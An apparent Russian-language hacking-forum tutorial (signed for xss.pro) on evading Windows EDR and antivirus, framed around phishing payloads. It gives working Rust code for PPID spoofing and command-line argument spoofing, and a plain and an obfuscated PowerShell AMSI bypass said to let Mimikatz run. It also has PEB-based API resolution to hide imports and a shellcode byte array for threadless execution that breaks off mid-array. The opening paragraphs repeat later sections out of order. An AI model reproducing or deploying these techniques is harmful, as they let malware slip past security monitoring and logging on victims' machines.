В этой статье мы поговорим о некоторых методах уклонения, которые до сих пор используются злоумышленниками для обхода некоторых механизмов обнаружения Windows и позволяют им оставаться незамеченными для систем безопасности как можно дольше.
Эта техника важна, поскольку многие продукты EDR полагаются на отношения родитель-потомок. Например, представьте, что вы проводите фишинговую атаку, и ваша полезная нагрузка сначала будет выполнена в Excel, после чего она выполнит другую полезную нагрузку, такую как скрипт PowerShell. При этом новый процесс PowerShell будет создан как дочерний процесс Excel. Такая комбинация обычно является индикатором выполнения вредоносных макросов и может быть легко обнаружена многими EDR, поскольку они четко видят отношения родитель-потомок. Если вы можете запустить PowerShell как дочерний процесс доброкачественного процесса Windows, например explorer.exe, эта связь нарушается, и обнаружение можно избежать.
Как вы можете видеть, подмена PPID прошла успешно. Процесс Notepad.exe отображается так, как будто он был запущен процессом explorer.exe.
Обратите внимание, как в предыдущей демонстрации значение "Current Directory" указывает на расположение каталога исполняемого файла ppid_spoofing.exe. Это может легко стать индикатором компрометации, и решения безопасности или специалисты по защите могут быстро отметить эту аномалию. Чтобы исправить это, просто установите параметр lpCurrentDirectory в WinAPI CreateProcessA на менее подозрительный каталог, такой как "C:\Windows\System32".
Блок среды процесса (PEB) - это важная структура данных, содержащая различную информацию о работающем процессе Windows, такую как параметры, информацию о запуске, сведения о выделенной куче и загруженных библиотеках DLL, помимо прочего. Он используется операционной системой для хранения информации о работающих процессах и загрузчиком Windows для запуска приложений. Также он содержит информацию о процессе. Более конкретно, структура RTL_USER_PROCESS_PARAMETERS внутри PEB содержит член CommandLine, который хранит аргументы командной строки. Структура RTL_USER_PROCESS_PARAMETERS показана ниже.
Параметр CommandLine определен как UNICODE_STRING.
Для выполнения спуфинга аргументов командной строки необходимо сначала создать целевой процесс в приостановленном состоянии, передав фиктивные аргументы, которые не считаются подозрительными - следует учитывать, что они должны быть достаточно длинными, так как если реальный аргумент будет больше, это может перезаписать байты за пределами фиктивного аргумента, что приведет к аварийному завершению процесса. Перед возобновлением процесса необходимо исправить строку PEB->ProcessParameters.CommandLine.Buffer желаемой полезной нагрузкой, что заставит службы логирования регистрировать фиктивные аргументы вместо фактических аргументов командной строки, которые будут выполняться. Для выполнения этой процедуры необходимо выполнить следующие шаги:
После получения адреса PEB удалённого процесса можно прочитать структуру PEB с помощью WinAPI ReadProcessMemory.
По умолчанию Windows Defender взаимодействует с AMSI API для сканирования скриптов PowerShell, макросов VBA, сборок .NET, JavaScript с использованием технологии Windows Script Host во время выполнения.
Когда пользователь выполняет скрипт или запускает PowerShell, amsi.dll внедряется в адресное пространство процесса. AmsiScanBuffer и AmsiScanString используются антивирусом перед выполнением в качестве способа межпроцессного взаимодействия для сканирования буфера и строк на предмет подозрительной активности. В конечном итоге это предотвращает произвольное выполнение кода.
Вот как выглядит обнаружение AMSI, поэтому давайте попробуем запустить вредоносный скрипт, например Mimikatz, и посмотрим, что произойдет.
Как видите, как и ожидалось, команда была обнаружена мгновенно, и система сообщает, что это вредоносный код.
Существует множество способов обхода AMSI, таких как модификация памяти (Memory Patching), понижение версии PowerShell (Powershell Downgrade) и обфускация кода.
В нашем случае мы используем известный метод модификации памяти, который включает прямое изменение функций, связанных с AMSI, в памяти для отключения его функциональности. Таким образом, злоумышленники перезаписывают функцию AmsiScanBuffer, чтобы она всегда возвращала статус успеха, эффективно обходя обнаружение.
Конечно, если вы вставите этот код в PowerShell, он абсолютно точно не сработает. Поэтому что мы можем сделать, так это добавить слой обфускации. Мы скроем реальные намерения и функциональность кода. Это затрудняет для сканеров AMSI интерпретацию истинного назначения скрипта.
Таким образом, заобфусцированный код будет выглядеть следующим образом:
Код простой: мы просто выполняем конкатенацию строк, преобразуем ASCII/Unicode-числа в их символьные эквиваленты, затем снова выполняем конкатенацию строк и после этого сохраняем результат в переменную.
Теперь, как видите, нам удалось успешно обойти защиту. Появившийся код ошибки связан с тем, что я не установил модуль Mimikatz на своей системе. Если бы он был установлен, он выполнялся бы без проблем.
Чтобы узнать больше о техниках обхода AMSI, вы можете посетить этот репозиторий на GitHub: Amsi-Bypass-Powershell. Обратите внимание, что не весь код будет работать – вам нужно доработать его и максимально обфусцировать.
Когда мы скомпилируем код и запустим его, будет создан новый поток, как видно на изображении ниже.
Трамплины (Trampolines): Это шеллкод, который используется для изменения пути выполнения кода путём перехода на другой конкретный адрес в адресном пространстве процесса. Шеллкод трамплина вставляется в начало функции, в результате чего функция становится перехваченной. Когда вызывается перехваченная функция, вместо неё срабатывает шеллкод трамплина, и поток выполнения передаётся и изменяется на другой адрес, что приводит к выполнению другой функции.
Инлайн-хукинг (Inline Hooking): Это альтернативный подход к выполнению API-хукинга, который работает аналогично хукингу на основе трамплинов. Разница заключается в том, что инлайн-хуки возвращают выполнение к легитимной функции, позволяя продолжить нормальное выполнение. Хотя реализация более сложная и потенциально сложнее в поддержке, инлайн-хуки более эффективны.
Еще одно небольшое замечание: хуки часто используются решениями безопасности для перехвата, проверки и мониторинга вызовов функций с целью обнаружения вредоносного ПО.
В нашем примере мы будем использовать Inline Hooking для целевого процесса Notepad.exe и перехватим функцию CreateEventW в kernelbase.dll.
Эта техника использует промежутки между DLL в памяти. Мы хотим разместить хук и шеллкод чуть выше или ниже базового адреса целевой DLL, причина в том, что мы в итоге помещаем инструкцию CALL внутрь определенной экспортируемой функции (в нашем случае CreateEventW).
В конечном итоге мы ждем, пока легитимная активность процесса вызовет эту API-функцию, что запустит наш шеллкод.
Давайте сначала разберем PATCH_SHELLCODE
Какую экспортируемую функцию DLL следует выбрать? Вам следует ориентироваться на основные DLL, такие как ntdll, kernelbase и kernel32, так как они имеют одинаковый базовый адрес во всех процессах при одной загрузке Windows.
Избегайте часто используемых API, таких как выделение памяти в куче, закрытие handles или API синхронизации, чтобы предотвратить состояние гонки. В нашем случае мы продемонстрируем внедрение shellcode в Notepad.exe и выберем цель — функцию CreateEventW в kernelbase.dll.
Теперь попробуйте что-нибудь написать и сохранить с помощью Блокнота — вы вызовете функцию, и увидите, как появится calc.exe.
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью
для xss.pro пользователем voldemort.
1- PPID Spoofing.
PPID Spoofing - это техника, которая была представлена широкой аудитории специалистов по информационной безопасности в 2009 году 'Didier Stevens'. Она включает в себя изменение идентификатора родительского процесса (parent process ID) вновь созданного процесса, создавая видимость того, что процесс был порожден легитимным процессом Windows, а не его истинным родителем. Эта манипуляция нарушает видимую цепочку выполнения, позволяя вредоносной активности оставаться незамеченной для средств безопасности, которые отслеживают аномальные отношения между родительскими и дочерними процессами.Эта техника важна, поскольку многие продукты EDR полагаются на отношения родитель-потомок. Например, представьте, что вы проводите фишинговую атаку, и ваша полезная нагрузка сначала будет выполнена в Excel, после чего она выполнит другую полезную нагрузку, такую как скрипт PowerShell. При этом новый процесс PowerShell будет создан как дочерний процесс Excel. Такая комбинация обычно является индикатором выполнения вредоносных макросов и может быть легко обнаружена многими EDR, поскольку они четко видят отношения родитель-потомок. Если вы можете запустить PowerShell как дочерний процесс доброкачественного процесса Windows, например explorer.exe, эта связь нарушается, и обнаружение можно избежать.
Как PPID Spoofing реализуется программно
С технической точки зрения, PPID Spoofing может быть реализован с использованием функций Windows API. Ключевым моментом является функция CreateProcessA, которая может быть расширена дополнительными параметрами для указания родительского процесса. Это достигается с помощью флага EXTENDED_STARTUPINFO_PRESENT и заполнения структуры STARTUPINFOEXA:
Код:
#[repr(C)]
pub struct STARTUPINFOEXA {
pub StartupInfo: STARTUPINFOA,
pub lpAttributeList: LPPROC_THREAD_ATTRIBUTE_LIST,
}
- StartupInfo содержит детали, связанные с созданием процесса.
- lpAttributeList создается с использованием WinAPI InitializeProcThreadAttributeList.
Злоумышленники могут определить список атрибутов, который является структурой данных, хранящей список атрибутов, связанных с процессом или потоком. Эти атрибуты могут включать информацию, такую как приоритет, алгоритм планирования, состояние, привязка к процессору и адресное пространство памяти процесса или потока, среди прочего. Списки атрибутов могут использоваться для эффективного хранения и получения информации о процессах и потоках, а также для изменения атрибутов процесса или потока во время выполнения. Список атрибутов включает PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. Этот атрибут позволяет запускать новый процесс с подмененным PPID, эффективно нарушая видимую связь родитель-потомок.
InitializeProcThreadAttributeList
Код:
pub unsafe fn InitializeProcThreadAttributeList(
lpattributelist: Option<LPPROC_THREAD_ATTRIBUTE_LIST>,
dwattributecount: u32,
dwflags: Option<u32>,
lpsize: *mut usize,
) -> Result<()>
- Первый вызов функции InitializeProcThreadAttributeList должен иметь значение NULL для параметра lpattributelist. Этот вызов используется для определения размера списка атрибутов, который будет получен из параметра lpsize.
- Второй вызов InitializeProcThreadAttributeList должен указывать действительный указатель для параметра lpattributelist. Значение lpsize должно быть предоставлено в качестве входных данных в этот раз. Этот вызов инициализирует список атрибутов.
UpdateProcThreadAttribute
Код:
pub unsafe fn UpdateProcThreadAttribute(
lpattributelist: LPPROC_THREAD_ATTRIBUTE_LIST,
dwflags: u32,
attribute: usize,
lpvalue: Option<*const c_void>,
cbsize: usize,
lppreviousvalue: Option<*mut c_void>,
lpreturnsize: Option<*const usize>,
) -> Result<()>
- attribute - Этот флаг критически важен, он используется для обновления информации о родительском процессе в списке атрибутов. Он указывает родительский процесс потока, который обычно является процессом, создавшим поток. В данном случае он должен быть установлен в PROC_THREAD_ATTRIBUTE_PARENT_PROCESS для обновления информации о родительском процессе.
- lpvalue - Дескриптор родительского процесса.
- cbsize - Размер значения атрибута, указанного параметром lpvalue. Он будет установлен как sizeof(HANDLE).
- CreateProcessA вызывается с флагом EXTENDED_STARTUPINFO_PRESENT для обеспечения дополнительного контроля над создаваемым процессом.
- Создается структура STARTUPINFOEXA, которая содержит список атрибутов, LPPROC_THREAD_ATTRIBUTE_LIST.
- Вызывается InitializeProcThreadAttributeList для инициализации списка атрибутов. Функция должна быть вызвана дважды, первый раз определяет размер списка атрибутов, а следующий вызов выполняет инициализацию.
- UpdateProcThreadAttribute используется для обновления атрибутов путем установки флага PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, который позволяет пользователю указать родительский процесс потока.
В нашем случае, мы запустим Notepad.exe как дочерний процесс explorer.exe
C++:
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
use windows::{
core::PSTR,
Win32::{
Foundation::HANDLE,
System::{
Memory::{GetProcessHeap, HeapAlloc, HEAP_ZERO_MEMORY},
Threading::{
CreateProcessA, DeleteProcThreadAttributeList, InitializeProcThreadAttributeList,
OpenProcess, UpdateProcThreadAttribute, EXTENDED_STARTUPINFO_PRESENT,
LPPROC_THREAD_ATTRIBUTE_LIST, PROCESS_ALL_ACCESS, PROCESS_INFORMATION,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, STARTUPINFOEXA,
},
},
},
};
fn main() {
if std::env::args().len() != 2 {
println!("Usage: {} <PID>", std::env::args().next().unwrap());
return;
}
let pid = match std::env::args().nth(1).unwrap().parse::<u32>() {
Ok(pid) => pid,
Err(_) => {
println!("Invalid PID");
return;
}
};
let mut startup_info = STARTUPINFOEXA::default();
let mut process_info = PROCESS_INFORMATION::default();
startup_info.StartupInfo.cb = size_of::<STARTUPINFOEXA>() as u32;
unsafe {
let h_parent_process = OpenProcess(PROCESS_ALL_ACCESS, false, pid).unwrap_or_else(|err| panic!("Error opening parent process: {}", err)); // PPID
let mut attr_size: usize = 0;
let _ = InitializeProcThreadAttributeList(
Some(LPPROC_THREAD_ATTRIBUTE_LIST(null_mut())),
1,
Some(0),
&mut attr_size,
);
let attr_list = LPPROC_THREAD_ATTRIBUTE_LIST(HeapAlloc(
GetProcessHeap().unwrap(),
HEAP_ZERO_MEMORY,
attr_size,
));
let _ = InitializeProcThreadAttributeList(Some(attr_list), 1, Some(0), &mut attr_size);
let _ = UpdateProcThreadAttribute(
attr_list,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS as usize,
Some(&h_parent_process as *const _ as *const c_void),
size_of::<HANDLE>(),
None,
None,
);
let windir = std::env::var("WINDIR").unwrap() + "\\System32\\notepad.exe";
startup_info.lpAttributeList = attr_list;
let _ = CreateProcessA(
None,
Some(PSTR(windir.as_ptr() as _)),
None,
None,
false,
EXTENDED_STARTUPINFO_PRESENT,
None,
None,
&startup_info.StartupInfo,
&mut process_info,
);
DeleteProcThreadAttributeList(attr_list);
}
}
Обратите внимание, как в предыдущей демонстрации значение "Current Directory" указывает на расположение каталога исполняемого файла ppid_spoofing.exe. Это может легко стать индикатором компрометации, и решения безопасности или специалисты по защите могут быстро отметить эту аномалию. Чтобы исправить это, просто установите параметр lpCurrentDirectory в WinAPI CreateProcessA на менее подозрительный каталог, такой как "C:\Windows\System32".
C++:
use std::{ffi::{c_void,CString}, mem::size_of, ptr::null_mut};
use windows::{
core::{PSTR, PCSTR},
Win32::{
Foundation::HANDLE,
System::{
Memory::{GetProcessHeap, HeapAlloc, HEAP_ZERO_MEMORY},
Threading::{
CreateProcessA, DeleteProcThreadAttributeList, InitializeProcThreadAttributeList,
OpenProcess, UpdateProcThreadAttribute, EXTENDED_STARTUPINFO_PRESENT,
LPPROC_THREAD_ATTRIBUTE_LIST, PROCESS_ALL_ACCESS, PROCESS_INFORMATION,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, STARTUPINFOEXA,
},
},
},
};
fn main() {
if std::env::args().len() != 2 {
println!("Usage: {} <PID>", std::env::args().next().unwrap());
return;
}
let pid = match std::env::args().nth(1).unwrap().parse::<u32>() {
Ok(pid) => pid,
Err(_) => {
println!("Invalid PID");
return;
}
};
let mut startup_info = STARTUPINFOEXA::default();
let mut process_info = PROCESS_INFORMATION::default();
startup_info.StartupInfo.cb = size_of::<STARTUPINFOEXA>() as u32;
unsafe {
let h_parent_process = OpenProcess(PROCESS_ALL_ACCESS, false, pid).unwrap_or_else(|err| panic!("Error opening parent process: {}", err)); // PPID
let mut attr_size: usize = 0;
let _ = InitializeProcThreadAttributeList(
Some(LPPROC_THREAD_ATTRIBUTE_LIST(null_mut())),
1,
Some(0),
&mut attr_size,
);
let attr_list = LPPROC_THREAD_ATTRIBUTE_LIST(HeapAlloc(
GetProcessHeap().unwrap(),
HEAP_ZERO_MEMORY,
attr_size,
));
let _ = InitializeProcThreadAttributeList(Some(attr_list), 1, Some(0), &mut attr_size);
let _ = UpdateProcThreadAttribute(
attr_list,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS as usize,
Some(&h_parent_process as *const _ as *const c_void),
size_of::<HANDLE>(),
None,
None,
);
let windir = std::env::var("WINDIR").unwrap() + "\\System32\\notepad.exe";
startup_info.lpAttributeList = attr_list;
let parent_dir = CString::new("C:\\Windows\\System32").unwrap();
let dir_ptr = PCSTR(parent_dir.as_ptr() as *const u8);
let _ = CreateProcessA(
None,
Some(PSTR(windir.as_ptr() as _)),
None,
None,
false,
EXTENDED_STARTUPINFO_PRESENT,
None,
dir_ptr,
&startup_info.StartupInfo,
&mut process_info,
);
DeleteProcThreadAttributeList(attr_list);
}
}
Process Argument Spoofing.
Спуфинг аргументов процесса - это техника, используемая для сокрытия аргументов командной строки вновь созданного процесса с целью выполнения команд без их раскрытия службам логирования, таким как Procmon. На изображении ниже показано, как Procmon регистрирует команду powershell.exe -c calc.exe. Цель этого модуля - запустить powershell.exe -c calc.exe без успешного логирования в Procmon.
PEB
Код:
#[repr(C)]
pub struct PEB {
pub Reserved1: [u8; 2],
pub BeingDebugged: u8,
pub Reserved2: [u8; 1],
pub Reserved3: [*mut c_void; 2],
pub Ldr: *mut PEB_LDR_DATA,
pub ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS,
pub Reserved4: [*mut c_void; 3],
pub AtlThunkSListPtr: *mut c_void,
pub Reserved5: *mut c_void,
pub Reserved6: u32,
pub Reserved7: *mut c_void,
pub Reserved8: u32,
pub AtlThunkSListPtr32: u32,
pub Reserved9: [*mut c_void; 45],
pub Reserved10: [u8; 96],
pub PostProcessInitRoutine: PPS_POST_PROCESS_INIT_ROUTINE,
pub Reserved11: [u8; 128],
pub Reserved12: [*mut c_void; 1],
pub SessionId: u32,
}
Код:
#[repr(C)]
pub struct RTL_USER_PROCESS_PARAMETERS {
pub Reserved1: [u8; 16],
pub Reserved2: [*mut c_void; 10],
pub ImagePathName: UNICODE_STRING,
pub CommandLine: UNICODE_STRING,
}
Для выполнения спуфинга аргументов командной строки необходимо сначала создать целевой процесс в приостановленном состоянии, передав фиктивные аргументы, которые не считаются подозрительными - следует учитывать, что они должны быть достаточно длинными, так как если реальный аргумент будет больше, это может перезаписать байты за пределами фиктивного аргумента, что приведет к аварийному завершению процесса. Перед возобновлением процесса необходимо исправить строку PEB->ProcessParameters.CommandLine.Buffer желаемой полезной нагрузкой, что заставит службы логирования регистрировать фиктивные аргументы вместо фактических аргументов командной строки, которые будут выполняться. Для выполнения этой процедуры необходимо выполнить следующие шаги:
- Создайте целевой процесс в приостановленном состоянии.
- Получите удаленный адрес PEB созданного процесса.
- Прочитайте удаленную структуру PEB из созданного процесса.
- Прочитайте удаленную структуру PEB->ProcessParameters из созданного процесса.
- Исправьте буфер ProcessParameters.CommandLine.Buffer и перезапишите его полезной нагрузкой для выполнения.
- Возобновите процесс.
Код:
#[repr(C)]
pub struct PROCESS_BASIC_INFORMATION {
pub ExitStatus: NTSTATUS,
pub PebBaseAddress: *mut PEB,
pub AffinityMask: usize,
pub BasePriority: i32,
pub UniqueProcessId: usize,
pub InheritedFromUniqueProcessId: usize,
}
C++:
use std::{ffi::c_void, mem::size_of};
use windows::{
core::{w, PWSTR},
Wdk::System::Threading::{NtQueryInformationProcess, ProcessBasicInformation},
Win32::{
Foundation::CloseHandle,
System::{
Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory},
Threading::{
CreateProcessW, ResumeThread, WaitForSingleObject,
CREATE_NO_WINDOW, CREATE_SUSPENDED, INFINITE, PEB,
PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION,
RTL_USER_PROCESS_PARAMETERS, STARTUPINFOW,
},
}
}
};
fn main() -> Result<(), Box<dyn std::error::Error>> {
unsafe {
// Creating a process in suspended mode
let mut start_argument = to_pwstr("powershell.exe This is a Legit Argument");
let mut process_information = PROCESS_INFORMATION::default();
let mut startup_info = STARTUPINFOW {
cb: size_of::<STARTUPINFOW>() as u32,
..Default::default()
};
CreateProcessW(
None,
Some(PWSTR(start_argument.as_mut_ptr())),
None,
None,
false,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
None,
w!("C:\\Windows\\System32\\"),
&mut startup_info,
&mut process_information,
)?;
println!("[+] DONE!");
println!("[+] Target PID Process: {}", process_information.dwProcessId);
let h_process = process_information.hProcess;
let h_thread = process_information.hThread;
// Retrieving PEB address
let mut process_basic = PROCESS_BASIC_INFORMATION::default();
let mut return_len: u32 = 0;
let _ = NtQueryInformationProcess(
h_process,
ProcessBasicInformation,
&mut process_basic as *mut _ as *mut c_void,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
&mut return_len,
);
println!("[+] Adress to PEB: {:?}", process_basic.PebBaseAddress);
// Reading the PEB address
let mut peb = PEB::default();
ReadProcessMemory(
h_process,
process_basic.PebBaseAddress as *const c_void,
&mut peb as *mut _ as *mut c_void,
size_of::<PEB>(),
None,
)?;
// Reading the RTL_USER_PROCESS_PARAMETERS structure from the remote process's PEB
let mut user_process_params = RTL_USER_PROCESS_PARAMETERS::default();
ReadProcessMemory(
h_process,
peb.ProcessParameters as *const c_void,
&mut user_process_params as *mut _ as *mut c_void,
size_of::<RTL_USER_PROCESS_PARAMETERS>() + 255,
None,
)?;
// Changing the Buffer value for the actual command
let reajust_argument = to_pwstr("powershell.exe -c calc.exe");
match WriteProcessMemory(
h_process,
user_process_params.CommandLine.Buffer.as_ptr() as _,
reajust_argument.as_ptr() as *const c_void,
reajust_argument.len() * size_of::<u16>(),
None,
) {
Ok(_) => println!("[+] Buffer Changed!"),
Err(e) => println!("[-] Error: {:?}", e),
}
println!("[+] Thread Executed!!");
// Resuming the Thread for execution
ResumeThread(h_thread);
WaitForSingleObject(h_thread, INFINITE);
CloseHandle(h_process)?;
CloseHandle(h_thread)?;
}
Ok(())
}
/// Converts a Rust string `&str` to a UTF-16 null pointer (PWSTR).
fn to_pwstr(s: &str) -> Vec<u16> {
s.encode_utf16().chain(Some(0)).collect()
}
AMSI.
AMSI (Антивирусный интерфейс сканирования) - это функция Windows, представленная в Windows 10 и Windows Server 2016. Её основная цель - позволить стороннему программному обеспечению интегрироваться с ней для сканирования и обнаружения вредоносных скриптов и кода в режиме реального времени во время выполнения.По умолчанию Windows Defender взаимодействует с AMSI API для сканирования скриптов PowerShell, макросов VBA, сборок .NET, JavaScript с использованием технологии Windows Script Host во время выполнения.
Когда пользователь выполняет скрипт или запускает PowerShell, amsi.dll внедряется в адресное пространство процесса. AmsiScanBuffer и AmsiScanString используются антивирусом перед выполнением в качестве способа межпроцессного взаимодействия для сканирования буфера и строк на предмет подозрительной активности. В конечном итоге это предотвращает произвольное выполнение кода.
Вот как выглядит обнаружение AMSI, поэтому давайте попробуем запустить вредоносный скрипт, например Mimikatz, и посмотрим, что произойдет.
Как видите, как и ожидалось, команда была обнаружена мгновенно, и система сообщает, что это вредоносный код.
Powershell
PowerShell — это обоюдоострый меч. Хотя это законный и мощный инструмент для администраторов, его гибкость и глубокая интеграция с Windows делают его ценным активом для злоумышленников. Поэтому в этом примере мы обойдем AMSI и выполним наши полезные нагрузки без вмешательства.Существует множество способов обхода AMSI, таких как модификация памяти (Memory Patching), понижение версии PowerShell (Powershell Downgrade) и обфускация кода.
В нашем случае мы используем известный метод модификации памяти, который включает прямое изменение функций, связанных с AMSI, в памяти для отключения его функциональности. Таким образом, злоумышленники перезаписывают функцию AmsiScanBuffer, чтобы она всегда возвращала статус успеха, эффективно обходя обнаружение.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic, Static').SetValue($null, $true)Конечно, если вы вставите этот код в PowerShell, он абсолютно точно не сработает. Поэтому что мы можем сделать, так это добавить слой обфускации. Мы скроем реальные намерения и функциональность кода. Это затрудняет для сканеров AMSI интерпретацию истинного назначения скрипта.
Таким образом, заобфусцированный код будет выглядеть следующим образом:
Bash:
$a = [char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115) -join '';
$b = [char]97+[char]109+[char]115+[char]105+[char]73+[char]110+[char]105+[char]116+[char]70+[char]97+[char]105+[char]108+[char]101+[char]100;
$c = [char]83+[char]101+[char]116+[char]86+[char]97+[char]108+[char]117+[char]101;
[Ref].Assembly.GetType($a).GetField($b, 'NonPublic,Static').($c)($null, $true)
Теперь, как видите, нам удалось успешно обойти защиту. Появившийся код ошибки связан с тем, что я не установил модуль Mimikatz на своей системе. Если бы он был установлен, он выполнялся бы без проблем.
Чтобы узнать больше о техниках обхода AMSI, вы можете посетить этот репозиторий на GitHub: Amsi-Bypass-Powershell. Обратите внимание, что не весь код будет работать – вам нужно доработать его и максимально обфусцировать.
IAT Hiding.
Таблица импорта адресов (IAT) содержит информацию о PE-файле, такую как используемые функции и экспортирующие их DLL. Этот тип информации может использоваться для создания сигнатур и обнаружения исполняемого файла. Чтобы скрыть функции из IAT, можно использовать GetProcAddress, GetModuleHandle или LoadLibrary для динамической загрузки этих функций во время выполнения, поэтому они не будут отображаться в IAT при проверке. Более элегантный способ сделать это - создать пользовательские функции, которые выполняют те же действия, что и WinAPI GetProcAddress и GetModuleHandle. Таким образом становится возможным динамически загружать функции без появления этих двух функций в IAT.GetModuleHandle
Функция GetModuleHandle получает дескриптор для указанной DLL. Функция возвращает дескриптор DLL или NULL, если DLL не существует в вызывающем процессе. Тип данных HMODULE (*mut c_void) является базовым адресом загруженной DLL, то есть местом, где DLL находится в адресном пространстве процесса. Следовательно, цель функции замены - получить базовый адрес указанной DLL. Блок окружения процесса (PEB) содержит информацию о загруженных DLL, в частности, член PEB_LDR_DATA Ldr структуры PEB. Таким образом, начальным шагом является доступ к этому члену через структуру PEB.
C++:
unsafe fn get_module(dll: &str) -> Result<*mut c_void, ()> {
let peb = get_peb();
let ldr = (*peb).Ldr;
let mut list_entry = (*ldr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY;
while !(*list_entry).DllBase.is_null() {
let buffer = slice::from_raw_parts(
(*list_entry).BaseDllName.Buffer,
((*list_entry).BaseDllName.Length / 2) as usize,
);
let dll_name = String::from_utf16_lossy(&buffer).to_lowercase();
if dll == dll_name {
return Ok((*list_entry).DllBase);
}
list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
Err(())
}
unsafe fn get_peb() -> *mut PEB {
let teb_offset = ntapi::FIELD_OFFSET!(NT_TIB, Self_) as u32;
#[cfg(target_arch = "x86_64")]
{
use ntapi::winapi_local::um::winnt::__readgsqword;
let teb = __readgsqword(teb_offset) as *mut TEB;
return (*teb).ProcessEnvironmentBlock;
}
#[cfg(target_arch = "x86")]
{
use ntapi::winapi_local::um::winnt::__readfsdword;
let teb = __readfsdword(teb_offset) as *mut TEB;
return (*teb).ProcessEnvironmentBlock;
}
}
GetProcAddress
Параметр dll_base является базовым адресом загруженной DLL. Это адрес, по которому модуль DLL находится в адресном пространстве процесса. Учитывая это, получение адреса функции осуществляется путем перебора экспортируемых функций внутри предоставленной DLL и проверки существования имени целевой функции. Если найдено действительное совпадение, происходит получение адреса. Для доступа к экспортируемым функциям необходимо получить доступ к таблице экспорта DLL и выполнить её перебор в поиске имени целевой функции.
C++:
unsafe fn get_proc_address(dll_base: *mut c_void) {
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
eprintln!("INVALID DOS SIGNATURE");
return;
}
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
eprintln!("INVALID NT SIGNATURE");
return;
}
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as usize);
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as usize);
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as usize);
for i in 0..(*export_directory).NumberOfNames as usize {
let name = CStr::from_ptr((dll_base as usize + names[i] as usize) as *const i8).to_str().ok().unwrap_or("");
let ordinal = ordinals[i] as usize;
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
println!("NAME {} | ADDRESS: {:?} | ORDINAL: {}", name, address, ordinal);
}
}
Threadless Execution.
Помните метод внедрения module stomping, который мы обсуждали в прошлой статье?Когда мы скомпилируем код и запустим его, будет создан новый поток, как видно на изображении ниже.
Function pointer
Теперь проблема с этой техникой заключается в том, что она создает дополнительный поток. Это важно, потому что нужно понимать, что некоторые EDR (системы предотвращения угроз) и движки антивирусов могут обнаруживать такого рода активность, и для самозащиты вам, возможно, захочется этого избежать. Поэтому нужно найти другой способ выполнения вашего полезного кода без создания нового потока. Основной принцип здесь заключается в том, чтобы захватить существующее выполнение уже работающего потока. Давайте сделаем это и рассмотрим другие способы выполнения полезного кода без создания нового потока. Один из методов, который мы можем использовать, — это просто вызвать наш шелл-код через указатель. Мы создаем указатель на функцию, которая не принимает аргументов, присваиваем адрес этой функции указателю и просто вызываем эту функцию. Хорошо, если мы перекомпилируем нашу программу и запустим ее, то увидим, что сейчас у нас есть два потока, и давайте нажмем Enter. Наш код выполнился, но новый поток не был создан, и причина в том, что он фактически выполняется в основном потоке.
C++:
use std::{ffi::c_void, ptr::null_mut};
use ntapi::ntmmapi::{NtMapViewOfSection, ViewShare};
use windows::{
core::s,
Wdk::Storage::FileSystem::NtCreateSection,
Win32::{
Foundation::{GENERIC_READ, HANDLE},
Storage::FileSystem::{
CreateFileA, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_MODE, OPEN_EXISTING
},
System::{
Diagnostics::Debug::IMAGE_NT_HEADERS64,
SystemServices::{IMAGE_DOS_HEADER, IMAGE_NT_SIGNATURE},
Memory::{
VirtualProtect, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS,
PAGE_READONLY, PAGE_READWRITE, SECTION_ALL_ACCESS, SEC_IMAGE
},
},
},
};
const SHELLCODE: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
